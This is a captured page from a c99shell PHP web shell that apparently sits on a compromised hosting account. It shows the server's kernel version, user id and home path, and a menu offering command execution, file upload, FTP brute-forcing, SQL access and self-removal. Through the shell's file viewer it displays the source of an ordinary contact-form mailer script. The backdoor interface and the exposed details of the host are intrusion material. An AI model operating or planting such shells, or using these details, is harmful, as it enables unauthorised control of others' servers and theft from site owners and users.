smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/assets/material/home/bat/   drwxr-xr-x
Free 3429.57 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rd-mailform.php (4.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$formConfigFile 
file_get_contents("rd-mailform.config.json");
$formConfig json_decode($formConfigFiletrue);

date_default_timezone_set('Etc/UTC');

try {
    require 
'./phpmailer/PHPMailerAutoload.php';

    
$recipients $formConfig['recipientEmail'];

    
preg_match_all("/([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)/"$recipients$addressesPREG_OFFSET_CAPTURE);

    if (!
count($addresses[0])) {
        die(
'MF001');
    }

    function 
getRemoteIPAddress() {
        if (!empty(
$_SERVER['HTTP_CLIENT_IP'])) {
            return 
$_SERVER['HTTP_CLIENT_IP'];

        } else if (!empty(
$_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return 
$_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        return 
$_SERVER['REMOTE_ADDR'];
    }

    if (
preg_match('/^(127\.|192\.168\.|::1)/'getRemoteIPAddress())) {
        die(
'MF002');
    }

    
$template file_get_contents('rd-mailform.tpl');

    if (isset(
$_POST['form-type'])) {
        switch (
$_POST['form-type']){
            case 
'contact':
                
$subject 'A message from your site visitor';
                break;
            case 
'subscribe':
                
$subject 'Subscribe request';
                break;
            case 
'order':
                
$subject 'Order request';
                break;
            default:
                
$subject 'A message from your site visitor';
                break;
        }
    }else{
        die(
'MF004');
    }

    if (isset(
$_POST['email'])) {
        
$template str_replace(
            array(
"<!-- #{FromState} -->""<!-- #{FromEmail} -->"),
            array(
"Email:"$_POST['email']),
            
$template);
    }

    if (isset(
$_POST['message'])) {
        
$template str_replace(
            array(
"<!-- #{MessageState} -->""<!-- #{MessageDescription} -->"),
            array(
"Message:"$_POST['message']),
            
$template);
    }

    
// In a regular expression, the character \v is used as "anything", since this character is rare
    
preg_match("/(<!-- #\{BeginInfo\} -->)([^\v]*?)(<!-- #\{EndInfo\} -->)/"$template$matchesPREG_OFFSET_CAPTURE);
    foreach (
$_POST as $key => $value) {
        if (
$key != "counter" && $key != "email" && $key != "message" && $key != "form-type" && $key != "g-recaptcha-response" && !empty($value)){
            
$info str_replace(
                array(
"<!-- #{BeginInfo} -->""<!-- #{InfoState} -->""<!-- #{InfoDescription} -->"),
                array(
""ucfirst($key) . ':'$value),
                
$matches[0][0]);

            
$template str_replace("<!-- #{EndInfo} -->"$info$template);
        }
    }

    
$template str_replace(
        array(
"<!-- #{Subject} -->""<!-- #{SiteName} -->"),
        array(
$subject$_SERVER['SERVER_NAME']),
        
$template);

    
$mail = new PHPMailer();


    if (
$formConfig['useSmtp']) {
        
//Tell PHPMailer to use SMTP
        
$mail->isSMTP();

        
//Enable SMTP debugging
        // 0 = off (for production use)
        // 1 = client messages
        // 2 = client and server messages
        
$mail->SMTPDebug 0;

        
$mail->Debugoutput 'html';

        
// Set the hostname of the mail server
        
$mail->Host $formConfig['host'];

        
// Set the SMTP port number - likely to be 25, 465 or 587
        
$mail->Port $formConfig['port'];

        
// Whether to use SMTP authentication
        
$mail->SMTPAuth true;
        
$mail->SMTPSecure "ssl";

        
// Username to use for SMTP authentication
        
$mail->Username $formConfig['username'];

        
// Password to use for SMTP authentication
        
$mail->Password $formConfig['password'];
    }

    
$mail->From $_POST['email'];

    
# Attach file
    
if (isset($_FILES['file']) &&
        
$_FILES['file']['error'] == UPLOAD_ERR_OK) {
        
$mail->AddAttachment($_FILES['file']['tmp_name'],
            
$_FILES['file']['name']);
    }

    if (isset(
$_POST['name'])){
        
$mail->FromName $_POST['name'];
    }else{
        
$mail->FromName "Site Visitor";
    }

    foreach (
$addresses[0] as $key => $value) {
        
$mail->addAddress($value[0]);
    }

    
$mail->CharSet 'utf-8';
    
$mail->Subject $subject;
    
$mail->MsgHTML($template);
    
$mail->send();

    die(
'MF000');
} catch (
phpmailerException $e) {
    die(
'MF254');
} catch (
Exception $e) {
    die(
'MF255');
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0038 ]--